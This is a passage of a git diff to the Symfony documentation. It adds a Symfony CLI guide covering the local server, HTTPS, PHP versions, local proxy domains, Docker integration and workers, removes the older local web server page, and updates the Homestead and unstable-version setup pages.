access token. + +Configure Your Project's ``composer.json`` File +----------------------------------------------- + +GitHub +~~~~~~ + +Add the following to your project's ``composer.json`` file: + +.. code-block:: json + + { + "extra": { + "symfony": { + "endpoint": [ + "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/index.json", + "flex://defaults" + ] + } + } + } + +Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details. + +.. tip:: + + The ``extra.symfony`` key will most probably already exist in your + ``composer.json``. In that case, add the ``"endpoint"`` key to the existing + ``extra.symfony`` entry. + +.. tip:: + + The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and + **not** to ``https://www.github.com``. + +Gitlab +~~~~~~ + +Add the following to your project's ``composer.json`` file: + +.. code-block:: json + + { + "extra": { + "symfony": { + "endpoint": [ + "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/index.json/raw?ref=main", + "flex://defaults" + ] + } + } + } + +Replace ``your-gitlab-project-id`` with your own details. + +.. tip:: + + The ``extra.symfony`` key will most probably already exist in your + ``composer.json``. In that case, add the ``"endpoint"`` key to the existing + ``extra.symfony`` entry. + +Install the Recipes in Your Project +----------------------------------- + +If your private bundles/packages have not yet been installed in your project, +run the following command: + +.. code-block:: terminal + + $ composer update + +If the private bundles/packages have already been installed and you just want to +install the new private recipes, run the following command: + +.. code-block:: terminal + + $ composer recipes + +.. _`release of version 1.16`: https://github.com/symfony/cli +.. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main diff --git a/setup/homestead.rst b/setup/homestead.rst index d9526949b55..9e2ecad5930 100644 --- a/setup/homestead.rst +++ b/setup/homestead.rst @@ -1,5 +1,3 @@ -.. index:: Vagrant, Homestead - Using Symfony with Homestead/Vagrant ==================================== @@ -58,7 +56,9 @@ Homestead now supports a Symfony 2 and 3 web layout with ``app.php`` and using type ``symfony4``. At last, edit the hosts file on your local machine to map ``symfony-demo.test`` -to ``192.168.10.10`` (which is the IP used by Homestead):: +to ``192.168.10.10`` (which is the IP used by Homestead): + +.. code-block:: text # /etc/hosts (unix) or C:\Windows\System32\drivers\etc\hosts (Windows) 192.168.10.10 symfony-demo.test diff --git a/setup/symfony_cli.rst b/setup/symfony_cli.rst new file mode 100644 index 00000000000..7b20c871558 --- /dev/null +++ b/setup/symfony_cli.rst @@ -0,0 +1,653 @@ +.. _symfony-server: +.. _symfony-local-web-server: + +Symfony CLI +=========== + +The **Symfony CLI** is a free and `open source`_ developer tool to help you build, +run, and manage your Symfony applications directly from your terminal. It's designed +to boost your productivity with smart features like: + +* **Web server** optimized for development, with **HTTPS support** +* **Docker** integration and automatic environment variable management +* Management of multiple **PHP versions** +* Support for background **workers** +* Seamless integration with **Symfony Cloud** + +Installation +------------ + +The Symfony CLI is available as a standalone executable that supports Linux, +macOS, and Windows. Download and install it following the instructions on +`symfony.com/download`_. + +.. _symfony-cli-autocompletion: + +Shell Autocompletion +~~~~~~~~~~~~~~~~~~~~ + +The Symfony CLI supports autocompletion for Bash, Zsh, and Fish shells. This +helps you type commands faster and discover available options: + +.. code-block:: terminal + + # install autocompletion (do this only once) + $ symfony completion bash | sudo tee /etc/bash_completion.d/symfony + + # for Zsh users + $ symfony completion zsh > ~/.symfony_completion && echo "source ~/.symfony_completion" >> ~/.zshrc + + # for Fish users + $ symfony completion fish | source + +After installation, restart your terminal to enable autocompletion. The CLI will +also provide autocompletion for ``composer`` and ``console`` commands when it +detects a Symfony project. + +Creating New Symfony Applications +--------------------------------- + +The Symfony CLI includes a project creation command that helps you start new +projects quickly: + +.. code-block:: terminal + + # create a new Symfony project based on the latest stable version + $ symfony new my_project + + # create a project with the latest LTS (Long Term Support) version + $ symfony new my_project --version=lts + + # create a project based on a specific Symfony version + $ symfony new my_project --version=6.4 + + # create a project using the development version + $ symfony new my_project --version=next + + # all the previous commands create minimal projects with the least + # amount of dependencies possible; if you are building a website or + # web application, add this option to install all the common dependencies + $ symfony new my_project --webapp + + # Create a project based on the Symfony Demo application + $ symfony new my_project --demo + +.. tip:: + + Pass the ``--cloud`` option to initialize a Symfony Cloud project at the same + time the Symfony project is created. + +.. _symfony-cli-server: + +Running the Local Web Server +---------------------------- + +The Symfony CLI includes a **local web server** designed for development. It's +not intended for production use, but it provides features that improve the +developer experience: + +* HTTPS support with automatic certificate generation +* HTTP/2 support +* Automatic PHP version selection +* Integration with Docker services +* Built-in proxy for custom domain names + +.. _getting-started: + +Serving Your Application +~~~~~~~~~~~~~~~~~~~~~~~~ + +To serve a Symfony project with the local server: + +.. code-block:: terminal + + $ cd my-project/ + $ symfony server:start + + [OK] Web server listening on http://127.0.0.1:8000 + ... + +Now browse the given URL or run the following command to open it in the browser: + +.. code-block:: terminal + + $ symfony open:local + +.. tip:: + + If you work on more than one project, you can run multiple instances of the + Symfony server on your development machine. Each instance will find a different + available port. + +The ``server:start`` command blocks the current terminal to output the server +logs. To run the server in the background: + +.. code-block:: terminal + + $ symfony server:start -d + +Now you can continue working in the terminal and run other commands: + +.. code-block:: terminal + + # view the latest log messages + $ symfony server:log + + # stop the background server + $ symfony server:stop + +.. tip:: + + On macOS, when starting the Symfony server you might see a warning dialog asking + *"Do you want the application to accept incoming network connections?"*. + This happens when running unsigned applications that are not listed in the + firewall list. The solution is to run this command to sign the Symfony CLI: + + .. code-block:: terminal + + $ sudo codesign --force --deep --sign - $(whereis -q symfony) + +Enabling PHP-FPM +~~~~~~~~~~~~~~~~ + +.. note:: + + PHP-FPM must be installed locally for the Symfony server to utilize. + +When the server starts, it checks for ``web/index_dev.php``, ``web/index.php``, +``public/app_dev.php``, ``public/app.php``, ``public/index.php`` in that order. If one is found, the +server will automatically start with PHP-FPM enabled. Otherwise the server will +start without PHP-FPM and will show a ``Page not found`` page when trying to +access a ``.php`` file in the browser. + +.. tip:: + + When an ``index.html`` and a front controller (e.g. ``index.php``) are both + present, the server will still start with PHP-FPM enabled, but the + ``index.html`` will take precedence. This means that if an ``index.html`` + file is present in ``public/`` or ``web/``, it will be displayed instead of + the ``index.php``, which would otherwise show, for example, the Symfony + application. + +Enabling HTTPS/TLS +~~~~~~~~~~~~~~~~~~ + +Running your application over HTTPS locally helps detect mixed content issues +early and allows using features that require secure connections. Traditionally, +this has been painful and complicated to set up, but the Symfony server automates +everything for you: + +.. code-block:: terminal + + # install the certificate authority (run this only once on your machine) + $ symfony server:ca:install + + # now start (or restart) your server; it will use HTTPS automatically + $ symfony server:start + +.. tip:: + + For WSL (Windows Subsystem for Linux), the newly created local certificate + authority needs to be imported manually: + + .. code-block:: terminal + + $ explorer.exe `wslpath -w $HOME/.symfony5/certs` + + In the file explorer window that just opened, double-click on the file + called ``default.p12``. + +PHP Management +-------------- + +The Symfony CLI provides PHP management features, allowing you to use different +PHP versions and/or settings for different projects. + +Selecting PHP Version +~~~~~~~~~~~~~~~~~~~~~ + +If you have multiple PHP versions installed on your computer, you can tell +Symfony which one to use creating a file called ``.php-version`` at the project +root directory: + +.. code-block:: terminal + + $ cd my-project/ + + # use a specific PHP version + $ echo 8.2 > .php-version + + # use any PHP 8.x version available + $ echo 8 > .php-version + +To see all available PHP versions: + +.. code-block:: terminal + + $ symfony local:php:list + +.. tip:: + + You can create a ``.php-version`` file in a parent directory to set the same + PHP version for multiple projects. + +Custom PHP Configuration +~~~~~~~~~~~~~~~~~~~~~~~~ + +Override PHP settings per project by creating a ``php.ini`` file at the project +root: + +.. code-block:: ini + + ; php.ini + [Date] + date.timezone = Asia/Tokyo + + [PHP] + memory_limit = 256M + +Using PHP Commands +~~~~~~~~~~~~~~~~~~ + +Use ``symfony php`` to ensure commands run with the correct PHP version: + +.. code-block:: terminal + + # runs with the system's default PHP + $ php -v + + # runs with the project's PHP version + $ symfony php -v + + # this also works for Composer + $ symfony composer install + +Local Domain Names +------------------ + +By default, projects are accessible at a random port on the ``127.0.0.1`` +local IP. However, sometimes it is preferable to associate a domain name +(e.g. ``my-app.wip``) with them: + +* it's more convenient when working continuously on the same project because + port numbers can change but domains don't; +* the behavior of some applications depends on their domains/subdomains; +* to have stable endpoints, such as the local redirection URL for OAuth2. + +Setting up the Local Proxy +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Symfony CLI includes a proxy that allows using custom local domains. The +first time you use it, you must configure it as follows: + +#. Open the **proxy settings** of your operating system: + + * `Proxy settings in Windows`_; + * `Proxy settings in macOS`_; + * `Proxy settings in Ubuntu`_. + +#. Set the following URL as the value of the **Automatic Proxy Configuration**: + + ``http://127.0.0.1:7080/proxy.pac`` + +Now run this command to start the proxy: + +.. code-block:: terminal + + $ symfony proxy:start + +If the proxy doesn't work as explained in the following sections, check the following: + +* Some browsers (e.g. Chrome) require reapplying proxy settings (clicking on + ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page) + or a full restart after starting the proxy. Otherwise, you'll see a + *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``); +* Some Operating Systems (e.g. macOS) don't apply proxy settings to local hosts + and domains by default. You may need to remove ``*.local`` and/or other + IP addresses from that list. +* Windows **requires** using ``localhost`` instead of ``127.0.0.1`` when + configuring the automatic proxy, otherwise you won't be able to access + your local domain from your browser running in Windows. + +Defining the Local Domain +~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, Symfony uses ``.wip`` (for *Work in Progress*) as the local TLD for +custom domains. You can define a local domain for your project as follows: + +.. code-block:: terminal + + $ cd my-project/ + $ symfony proxy:domain:attach my-app + +Your application is now available at ``https://my-app.wip`` + +.. tip:: + + View all local domains and their configuration at http://127.0.0.1:7080 + +You can also use wildcards: + +.. code-block:: terminal + + $ symfony proxy:domain:attach "*.my-app" + +This allows accessing subdomains like ``https://api.my-app.wip`` or +``https://admin.my-app.wip``. + +When running console commands, set the ``https_proxy`` environment variable +to make custom domains work: + +.. code-block:: terminal + + # example with cURL + $ https_proxy=$(symfony proxy:url) curl https://my-domain.wip + + # example with Blackfire and cURL + $ https_proxy=$(symfony proxy:url) blackfire curl https://my-domain.wip + + # example with Cypress + $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open + +.. warning:: + + Although environment variable names are typically uppercase, the ``https_proxy`` + variable `is treated differently`_ and must be written in lowercase. + +.. tip:: + + If you prefer to use a different TLD, edit the ``~/.symfony5/proxy.json`` + file (where ``~`` means the path to your user directory) and change the + value of the ``tld`` option from ``wip`` to any other TLD. + +.. _symfony-server-docker: + +Docker Integration +------------------ + +The Symfony CLI provides full `Docker`_ integration for projects that +use it. To learn more about Docker and Symfony, see :doc:`docker`. +The local server automatically detects Docker services and exposes their +connection information as environment variables. + +Automatic Service Detection +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +With this ``compose.yaml``: + +.. code-block:: yaml + + services: + database: + image: mysql:8 + ports: [3306] + +The web server detects that a service exposing port ``3306`` is running for the +project. It understands that this is a MySQL service and creates environment +variables accordingly, using the service name (``database``) as a prefix: + +* ``DATABASE_URL`` +* ``DATABASE_HOST`` +* ``DATABASE_PORT`` + +Here is a list of supported services with their ports and default Symfony prefixes: + +============= ========= ====================== +Service Port Symfony default prefix +============= ========= ====================== +MySQL 3306 ``DATABASE_`` +PostgreSQL 5432 ``DATABASE_`` +Redis 6379 ``REDIS_`` +Memcached 11211 ``MEMCACHED_`` +RabbitMQ 5672 ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_DEFAULT_USER`` and ``RABBITMQ_DEFAULT_PASS`` env var) +Elasticsearch 9200 ``ELASTICSEARCH_`` +MongoDB 27017 ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var) +Kafka 9092 ``KAFKA_`` +MailCatcher 1025/1080 ``MAILER_`` + or 25/80 +Blackfire 8707 ``BLACKFIRE_`` +Mercure 80 Always exposes ``MERCURE_PUBLIC_URL`` and ``MERCURE_URL`` (only works with the ``dunglas/mercure`` Docker image) +============= ========= ====================== + +If the service is not supported, generic environment variables are set: +``PORT``, ``IP``, and ``HOST``. + +You can open web management interfaces for the services that expose them +by clicking on the links in the "Server" section of the web debug toolbar +or by running these commands: + +.. code-block:: bash + + $ symfony open:local:webmail + $ symfony open:local:rabbitmq + +.. tip:: + + To debug and list all exported environment variables, run: + ``symfony var:export --debug``. + +.. tip:: + + For some services, the local web server also exposes environment variables + understood by CLI tools related to the service. For instance, running + ``symfony run psql`` will connect you automatically to the PostgreSQL server + running in a container without having to specify the username, password, or + database name. + +When Docker services are running, browse a page of your Symfony application and +check the "Symfony Server" section in the web debug toolbar. You'll see that +"Docker Compose" is marked as "Up". + +.. note:: + + If you don't want environment variables to be exposed for a service, set + the ``com.symfony.server.service-ignore`` label to ``true``: + + .. code-block:: yaml + + # compose.yaml + services: + db: + ports: [3306] + labels: + com.symfony.server.service-ignore: true + +If your Docker Compose file is not at the root of the project, use the +``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define +its location, same as for ``docker-compose``: + +.. code-block:: bash + + # start your containers: + COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d + + # run any Symfony CLI command: + COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export + +.. note:: + + If you have more than one Docker Compose file, you can provide them all, + separated by ``:``, as explained in the `Docker Compose CLI env var reference`_. + +.. warning:: + + When using the Symfony CLI with ``php bin/console`` (``symfony console ...``), + it will **always** use environment variables detected via Docker, ignoring + any local environment variables. For example, if you set up a different database + name in your ``.env.test`` file (``DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/test``) + and run ``symfony console doctrine:database:drop --force --env=test``, + the command will drop the database defined in your Docker configuration and not the "test" one. + +.. warning:: + + Similar to other web servers, this tool automatically exposes all environment + variables available in the CLI context. Ensure that this local server is not + accessible on your local network without your explicit consent, to avoid + potential security issues. + +Service Naming +~~~~~~~~~~~~~~ + +If your service names don't match Symfony conventions, use labels: + +.. code-block:: yaml + + services: + db: + image: postgres:15 + ports: [5432] + labels: + com.symfony.server.service-prefix: 'DATABASE' + +In this example, the service is named ``db``, so environment variables would be +prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set +to ``DATABASE``, the web server creates environment variables starting with +``DATABASE_`` instead as expected by the default Symfony configuration. + +Managing Long-Running Processes +------------------------------- + +Use the ``run`` command provided by the Symfony CLI to manage long-running +processes like Webpack watchers: + +.. code-block:: terminal + + # start webpack watcher in the background to not block the terminal + $ symfony run -d npx encore dev --watch + + # continue working and running other commands... + + # view logs + $ symfony server:log + + # check status + $ symfony server:status + +.. _symfony-server_configuring-workers: + +Configuring Workers +~~~~~~~~~~~~~~~~~~~ + +Define processes that should start automatically with the server in +``.symfony.local.yaml``: + +.. code-block:: yaml + + # .symfony.local.yaml + workers: + # Built-in Encore integration + npm_encore_watch: ~ + + # Messenger consumer with file watching + messenger_consume_async: + cmd: ['symfony', 'console', 'messenger:consume', 'async'] + watch: ['config', 'src', 'templates', 'vendor'] + + # Custom commands + build_spa: + cmd: ['npm', 'run', 'watch'] + + # Auto-start Docker Compose + docker_compose: ~ + +Advanced Configuration +---------------------- + +The ``.symfony.local.yaml`` file provides advanced configuration options: + +.. code-block:: yaml + + # sets app.wip and admin.app.wip for the current project + proxy: + domains: + - app + - admin.app + + # HTTP server settings + http: + document_root: public/ + passthru: index.php + # forces the port that will be used to run the server + port: 8000 + # sets the HTTP port you prefer for this project [default: 8000] + # (only will be used if it's available; otherwise a random port is chosen) + preferred_port: 8001 + # used to disable the default auto-redirection from HTTP to HTTPS + allow_http: true + # force the use of HTTP instead of HTTPS + no_tls: false + # path to the file containing the TLS certificate to use in p12 format + p12: path/to/custom-cert.p12 + # toggle GZIP compression + use_gzip: true + # run the server in the background + daemon: true + +.. warning:: + + Setting domains in this configuration file will override any domains you set + using the ``proxy:domain:attach`` command for the current project when you start + the server. + +.. _platform-sh-integration: + +Symfony Cloud Integration +------------------------- + +The Symfony CLI provides seamless integration with `Symfony Cloud`_ (powered by +`Platform.sh`_): + +.. code-block:: terminal + + # open Platform.sh web UI + $ symfony cloud:web + + # deploy your project to production + $ symfony cloud:deploy + + # create a new environment + $ symfony cloud:env:create feature-xyz + +For more features, see the `Symfony Cloud documentation`_. + +Troubleshooting +--------------- + +**Server doesn't start**: Check if the port is already in use: + +.. code-block:: terminal + + $ symfony server:status + $ symfony server:stop # If a server is already running + +**HTTPS not working**: Ensure the CA is installed: + +.. code-block:: terminal + + $ symfony server:ca:install + +**Docker services not detected**: Check that Docker is running and environment +variables are properly exposed: + +.. code-block:: terminal + + $ docker compose ps + $ symfony var:export --debug + +**Proxy domains not working**: + +* Clear your browser cache +* Check proxy settings in your system +* For Chrome, visit ``chrome://net-internals/#proxy`` and click "Re-apply settings" + +.. _`open source`: https://github.com/symfony-cli/symfony-cli +.. _`symfony.com/download`: https://symfony.com/download +.. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software) +.. _`Symfony Cloud`: https://symfony.com/cloud/ +.. _`Platform.sh`: https://platform.sh/ +.. _`Symfony Cloud documentation`: https://docs.platform.sh/frameworks/symfony.html +.. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/ +.. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac +.. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en +.. _`is treated differently`: https://superuser.com/a/1799209 +.. _`Docker Compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/ diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst deleted file mode 100644 index 70155de0637..00000000000 --- a/setup/symfony_server.rst +++ /dev/null @@ -1,401 +0,0 @@ -Symfony Local Web Server -======================== - -You can run Symfony applications with any web server (Apache, nginx, the -internal PHP web server, etc.). However, Symfony provides its own web server to -make you more productive while developing your applications. - -Although this server is not intended for production use, it supports HTTP/2, -TLS/SSL, automatic generation of security certificates, local domains, and many -other features that sooner or later you'll need when developing web projects. -Moreover, the server is not tied to Symfony and you can also use it with any -PHP application and even with HTML or single page applications. - -Installation ------------- - -The Symfony server is part of the ``symfony`` binary created when you -`install Symfony`_ and has support for Linux, macOS and Windows. - -.. note:: - - The Symfony binary is developed internally at Symfony. If you want to - report a bug or suggest a new feature, please create an issue on - `symfony/cli`_. - -Getting Started ---------------- - -The Symfony server is started once per project, so you may end up with several -instances (each of them listening to a different port). This is the common -workflow to serve a Symfony project: - -.. code-block:: terminal - - $ cd my-project/ - $ symfony server:start - - [OK] Web server listening on http://127.0.0.1:.... - ... - - # Now, browse the given URL, or run this command: - $ symfony open:local - -Running the server this way makes it display the log messages in the console, so -you won't be able to run other commands at the same time. If you prefer, you can -run the Symfony server in the background: - -.. code-block:: terminal - - $ cd my-project/ - - # start the server in the background - $ symfony server:start -d - - # continue working and running other commands... - - # show the latest log messages - $ symfony server:log - -Enabling PHP-FPM ----------------- - -.. note:: - - PHP-FPM must be installed locally for the Symfony server to utilize. - -When the server starts it will check for common patterns like ``web/app.php``, -``web/app_dev.php`` or ``public/index.php``. If a file like this is found the -server will automatically start with PHP-FPM enabled. Otherwise the server will -start without PHP-FPM and will show a ``Page not found`` page when trying to -access a ``.php`` file in the browser. - -.. tip:: - - When an ``index.html`` and a front controller like e.g. ``index.php`` are - both present the server will still start with PHP-FPM enabled but the - ``index.html`` will take precedence over the front controller. This means - when an ``index.html`` file is present in ``public`` or ``web``, it will be - displayed instead of the ``index.php`` which would show e.g. the Symfony - application. - -Enabling TLS ------------- - -Browsing the secure version of your applications locally is important to detect -problems with mixed content early, and to run libraries that only run in HTTPS. -Traditionally this has been painful and complicated to set up, but the Symfony -server automates everything. First, run this command: - -.. code-block:: terminal - - $ symfony server:ca:install - -This command creates a local certificate authority, registers it in your system -trust store, registers it in Firefox (this is required only for that browser) -and creates a default certificate for ``localhost`` and ``127.0.0.1``. In other -words, it does everything for you. - -Before browsing your local application with HTTPS instead of HTTP, restart its -server stopping and starting it again. - -Different PHP Settings Per Project ----------------------------------- - -Selecting a Different PHP Version -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -If you have multiple PHP versions installed on your computer, you can tell -Symfony which one to use creating a file called ``.php-version`` at the project -root directory: - -.. code-block:: terminal - - $ cd my-project/ - - # use a specific PHP version - $ echo 7.2 > .php-version - - # use any PHP 7.x version available - $ echo 7 > .php-version - -.. tip:: - - The Symfony server traverses the directory structure up to the root - directory, so you can create a ``.php-version`` file in some parent - directory to set the same PHP version for a group of projects under that - directory. - -Run the command below if you don't remember all the PHP versions installed on your -computer: - -.. code-block:: terminal - - $ symfony local:php:list - - # You'll see all supported SAPIs (CGI, FastCGI, etc.) for each version. - # FastCGI (php-fpm) is used when possible; then CGI (which acts as a FastCGI - # server as well), and finally, the server falls back to plain CGI. - -Overriding PHP Config Options Per Project -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -You can change the value of any PHP runtime config option per project by creating a -file called ``php.ini`` at the project root directory. Add only the options you want -to override: - -.. code-block:: terminal - - $ cd my-project/ - - # this project only overrides the default PHP timezone - $ cat php.ini - [Date] - date.timezone = Asia/Tokyo - -Running Commands with Different PHP Versions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When running different PHP versions, it is useful to use the main ``symfony`` -command as a wrapper for the ``php`` command. This allows you to always select -the most appropriate PHP version according to the project which is running the -commands. It also loads the env vars automatically, which is important when -running non-Symfony commands: - -.. code-block:: terminal - - # runs the command with the default PHP version - $ php -r "..." - - # runs the command with the PHP version selected by the project - # (or the default PHP version if the project didn't select one) - $ symfony php -r "..." - -Local Domain Names ------------------- - -By default, projects are accessible at some random port of the ``127.0.0.1`` -local IP. However, sometimes it is preferable to associate a domain name to them: - -* It's more convenient when you work continuously on the same project because - port numbers can change but domains don't; -* The behavior of some applications depend on their domains/subdomains; -* To have stable endpoints, such as the local redirection URL for OAuth2. - -Setting up the Local Proxy -~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Local domains are possible thanks to a local proxy provided by the Symfony server. -If this is the first time you run the proxy, you must configure it as follows: - -#. Open the **proxy settings** of your operating system: - - * `Proxy settings in Windows`_; - * `Proxy settings in macOS`_; - * `Proxy settings in Ubuntu`_. - -#. Set the following URL as the value of the **Automatic Proxy Configuration**: - ``http://127.0.0.1:7080/proxy.pac`` - -Now run this command to start the proxy: - -.. code-block:: terminal - - $ symfony proxy:start - -.. note:: - - Some browsers (e.g. Chrome) require to re-apply proxy settings (clicking on - ``Re-apply settings`` button on the ``chrome://net-internals/#proxy`` page) - or a full restart after starting the proxy. Otherwise, you'll see a - *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``). - -Defining the Local Domain -~~~~~~~~~~~~~~~~~~~~~~~~~ - -By default, Symfony proposes ``.wip`` (for *Work in Progress*) for the local -domains. You can define a local domain for your project as follows: - -.. code-block:: terminal - - $ cd my-project/ - $ symfony proxy:domain:attach my-domain - -If you have installed the local proxy as explained in the previous section, you -can now browse ``https://my-domain.wip`` to access your local project with the -new custom domain. - -.. tip:: - - Browse the http://127.0.0.1:7080 URL to get the full list of local project - directories, their custom domains, and port numbers. - -When running console commands, add the ``https_proxy`` env var to make custom -domains work: - -.. code-block:: terminal - - $ https_proxy=http://127.0.0.1:7080 curl https://my-domain.wip - -.. note:: - - Although env var names are always defined in uppercase, the ``https_proxy`` - env var `is treated differently`_ than other env vars and its name must be - spelled in lowercase. - -.. tip:: - - If you prefer to use a different TLD, edit the ``~/.symfony/proxy.json`` - file (where ``~`` means the path to your user directory) and change the - value of the ``tld`` option from ``wip`` to any other TLD. - -Long-Running Commands ---------------------- - -Long-running commands, such as the ones that compile front-end web assets, block -the terminal and you can't run other commands at the same time. The Symfony -server provides a ``run`` command to wrap them as follows: - -.. code-block:: terminal - - # compile Webpack assets using Symfony Encore ... but do that in the - # background to not block the terminal - $ symfony run -d yarn encore dev --watch - - # continue working and running other commands... - - # from time to time, check the command logs if you want - $ symfony server:log - - # and you can also check if the command is still running - $ symfony server:status - Web server listening on ... - Command "yarn ..." running with PID ... - - # stop the web server (and all the associated commands) when you are finished - $ symfony server:stop - -Docker Integration ------------------- - -The local Symfony server provides full `Docker`_ integration for projects that -use it. - -When the web server detects that Docker Compose is running for the project, it -automatically exposes environment variables according to the exposed port and -the name of the ``docker-compose`` services. - -Consider the following configuration: - -.. code-block:: yaml - - # docker-compose.yaml - services: - database: - ports: [3306] - -The web server detects that a service exposing port ``3306`` is running for the -project. It understands that this is a MySQL service and creates environment -variables accordingly with the service name (``database``) as a prefix: -``DATABASE_URL``, ``DATABASE_HOST``, ... - -If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a -label to override the environment variables prefix: - -.. code-block:: yaml - - # docker-compose.yaml - services: - db: - ports: [3306] - labels: - com.symfony.server.service-prefix: 'DATABASE' - -In this example, the service is named ``db``, so environment variables would be -prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set -to ``DATABASE``, the web server creates environment variables starting with -``DATABASE_`` instead as expected by the default Symfony configuration. - -Here is the list of supported services with their ports and default Symfony -prefixes: - -============= ========= ====================== -Service Port Symfony default prefix -============= ========= ====================== -MySQL 3306 ``DATABASE_`` -PostgreSQL 5432 ``DATABASE_`` -Redis 6379 ``REDIS_`` -Memcached 11211 ``MEMCACHED_`` -RabbitMQ 5672 ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_DEFAULT_USER`` and ``RABBITMQ_DEFAULT_PASS`` env var) -Elasticsearch 9200 ``ELASTICSEARCH_`` -MongoDB 27017 ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var) -Kafka 9092 ``KAFKA_`` -MailCatcher 1025/1080 ``MAILER_`` - or 25/80 -Blackfire 8707 ``BLACKFIRE_`` -============= ========= ====================== - -You can open web management interfaces for the services that expose them: - -.. code-block:: bash - - $ symfony open:local:webmail - $ symfony open:local:rabbitmq - -Or click on the links in the "Server" section of the web debug toolbar. - -.. tip:: - - To debug and list all exported environment variables, run ``symfony - var:export``. - -.. tip:: - - For some services, the web server also exposes environment variables - understood by CLI tools related to the service. For instance, running - ``symfony run psql`` will connect you automatically to the PostgreSQL server - running in a container without having to specify the username, password, or - database name. - -When Docker services are running, browse a page of your Symfony application and -check the "Symfony Server" section in the web debug toolbar; you'll see that -"Docker Compose" is "Up". - -If your Docker Compose file is not at the root of the project, use the -``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define -its location, same as for ``docker-compose``: - -.. code-block:: bash - - # start your containers: - COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d - - # run any Symfony CLI command: - COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export - -.. note:: - - If you have more than one Docker Compose file, you can provide them all - separated by ``:`` as explained in the `Docker compose CLI env var reference`_. - -SymfonyCloud Integration ------------------------- - -The local Symfony server provides full, but optional, integration with -`SymfonyCloud`_, a service optimized to run your Symfony applications on the -cloud. It provides features such as creating environments, backups/snapshots, -and even access to a copy of the production data from your local machine to help -debug any issues. - -`Read SymfonyCloud technical docs`_. - -.. _`install Symfony`: https://symfony.com/download -.. _`symfony/cli`: https://github.com/symfony/cli -.. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software) -.. _`SymfonyCloud`: https://symfony.com/cloud/ -.. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html -.. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/ -.. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac -.. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en -.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only -.. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/ diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst index 27036493fd4..8fabced2de6 100644 --- a/setup/unstable_versions.rst +++ b/setup/unstable_versions.rst @@ -7,8 +7,7 @@ they are released as stable versions. Creating a New Project Based on an Unstable Symfony Version ----------------------------------------------------------- - -Suppose that the Symfony 4.0 version hasn't been released yet and you want to create +Suppose that the Symfony 6.0 version hasn't been released yet and you want to create a new project to test its features. First, `install the Composer package manager`_. Then, open a command console, enter your project's directory and run the following command: @@ -24,7 +23,7 @@ in the ``my_project/`` directory. Upgrading your Project to an Unstable Symfony Version ----------------------------------------------------- -Suppose again that Symfony 4.0 hasn't been released yet and you want to upgrade +Suppose again that Symfony 6.0 hasn't been released yet and you want to upgrade an existing application to test that your project works with it. First, open the ``composer.json`` file located in the root directory of your @@ -33,18 +32,18 @@ new version and change your ``minimum-stability`` to ``beta``: .. code-block:: diff - { - "require": { - + "symfony/framework-bundle": "^4.0", - + "symfony/finder": "^4.0", - "...": "..." - }, + { + "require": { + + "symfony/framework-bundle": "^6.0", + + "symfony/finder": "^6.0", + "...": "..." + }, + "minimum-stability": "beta" - } + } You can also use set ``minimum-stability`` to ``dev``, or omit this line entirely, and opt into your stability on each package by using constraints -like ``4.0.*@beta``. +like ``6.0.*@beta``. Finally, from a terminal, update your project's dependencies: @@ -68,7 +67,7 @@ Symfony version has deprecated some of its features. $ cd projects/my_project/ $ git checkout -b testing_new_symfony # ... update composer.json configuration - $ composer update symfony/symfony + $ composer update "symfony/*" # ... after testing the new Symfony version $ git checkout master diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index 89f80ae109f..128fd46df73 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -1,7 